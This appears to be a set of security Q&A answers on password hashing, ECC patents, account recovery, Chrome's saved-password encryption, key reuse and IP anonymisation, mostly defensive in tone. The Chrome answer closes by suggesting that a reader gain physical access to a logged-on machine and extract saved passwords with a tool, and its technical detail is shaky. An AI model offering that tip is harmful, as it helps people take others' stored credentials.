Zeroth and foremost, this response shows a very narrow view of security: “if you use my software correctly, you won't have any direct risk”. Even if that was true (it isn't), security is a holistic concern. It is difficult to ensure that every component of a larger system is used precisely as the author of that component intended. Hence components must be robust — this is also known as “defense in depth”. A rule like “never log passwords” is simpler than “don't show backtraces to those (who?) who shouldn't see them, and turn them off anyway (and if you need them, too bad)”.

There might be a difficulty in recognizing what is a password and what isn't. It can be argued that to hide passwords creates the expectation that passwords will always be hidden, which is a bad thing if they aren't. I think the rate of success is more than enough to justify doing best effort here.


What is the specific reason to prefer bcrypt or PBKDF2 over SHA256-crypt in password hashes?

The main reason to use a specific password hashing function is to make life harder for attackers, or, more accurately, to prevent them from making their own life easier (when compared to that of the defender). In particular, the attacker may want to compute more hashes per second (i.e. try more passwords per second) with a given budget by using a GPU.

SHA-256, in particular, benefits a lot from being implemented on a GPU. Thus, if you use SHA-256-crypt, attackers will be more at an advantage than if you use bcrypt, which is hard to implement efficiently in a GPU.

See this answer for some discussion of bcrypt vs PBKDF2. Though SHA-256-crypt is not PBKDF2, it is similar enough in its performance behaviour on GPU, so the same conclusions apply.

Case for SHA-512 is a bit less clear because existing GPU are much better at using 32-bit integers than 64-bit, and SHA-512 uses mostly 64-bit operations. It is still expected that modern GPU allow more hashes per second than CPU (for a given budget) with SHA-512-crypt, which again points at bcrypt as the better choice.


Can ECC be used without infringing on patents?

The ECC implementation in OpenSSL has been contributed by Sun (now Oracle) and was, supposedly, written that way precisely to avoid any patented method. Otherwise, as AviD suggests, using an implementation which is already provided by the platform you use (Java, .NET...) is a neat way to avoid any patent trouble: if there was such trouble, it would first strike the platform provider (i.e. Oracle, Microsoft), not you.

To my knowledge (but I am not entitled, in any way, to give law-related advice), parts of ECC cryptography which may still be patented are:

implementation of curves over binary fields using normal bases;
point compression;
acceleration of Koblitz curves using the Frobenius endomorphism;
various optimization tricks on dedicated hardware architectures (FPGA, ASIC).

If you do not know what any of the above means, then do not worry, you are in the unpatented realm and things are fine.


Any reason to have a recovery email/phone if I will NOT ever forget my password?

TL; DR

It's a really good idea to have these set.

In addition to recovery options, they can also be used for setting up 2Factor authentication or other types of verification as well as a backup spot for notifications about "New Sign-in from XXX". To help detect unauthorized activity.

Additionally, consider the case where someone tries to brute force your login and locks you out of your account. You may need the recovery email to get back in. Without recovery options set, an attacker may also be able to get in to your account through the forgot password process since you have no backup accounts for Google to bail you out with.


Since chrome v80, chrome encrypts cookies and passwords using AES256-GCM with a randomly generated key. The key used for encryption is then encrypted with DPAPI and stored in the 'Local State' file in the user's chrome profile. However, the DPAPI is used in Local_Machine scope which means that any user on the computer where the encryption was done can decrypt the data (i.e. encryption does not rely on user's password at all). I am not sure exactly how the master key for encryption on Local_Machine is derived, but if I remember correctly, it uses environment specific variables.
What this means is that if you only have the "Login Data" file available, you will have to brute-force the 256 bit AES key, which is currently practically impossible. Even if you can get your hands on the user's "Local State" file you will still not be able to decrypt the key unless you can figure out and obtain all the environment specific variables DPAPI relies on. Your best bet would be to gain physical access to the system while any user is logged on and then decrypt the passwords using something like ChromePass


Sharing RSA keys between PGP and SSH protocols: Does this pose a security risk?

The problem is probably not so much algorithmic security. The problem is that if there is a security problem with one of the applications that you also have a security problem the other application. Furthermore, it may be that some kind of attacks on the protocol may be made possible because you share keys. In other words, this is not a good idea with regards to system security.

All in all, you should try to keep the keys separate. Usually one key is used for a particular application. Sharing encryption keys and authentication or signing keys may lead to attacks on the algorithm that would otherwise not be possible.

As for your second question, as long as the SSH session is authenticated the keys are not required any more.


How to make database of IP addresses anonymous?

If the stats that you are collecting are just as simple as "Have i seen this IP before?" then a Bloom Filter is ideal. Bloom Filter lookups and inserts are both O(1). But most importantly you cannot reverse a bloom filter, not even using brute force due to an unavoidable false-positive rate. You could have an array of bloom filters to put the ip address into categories,  such as putting all US geo-ip lookups in the same bloom filter.

A cryptographic hash function or asymmetric cryptography would be less than ideal because its easy to brute force such a small keyspace.


How does a website know my location? Checked with ipleaks and VPN seems to work correctly

It sounds as though some sort of supercookie(s) were set, to include browser fingerprinting.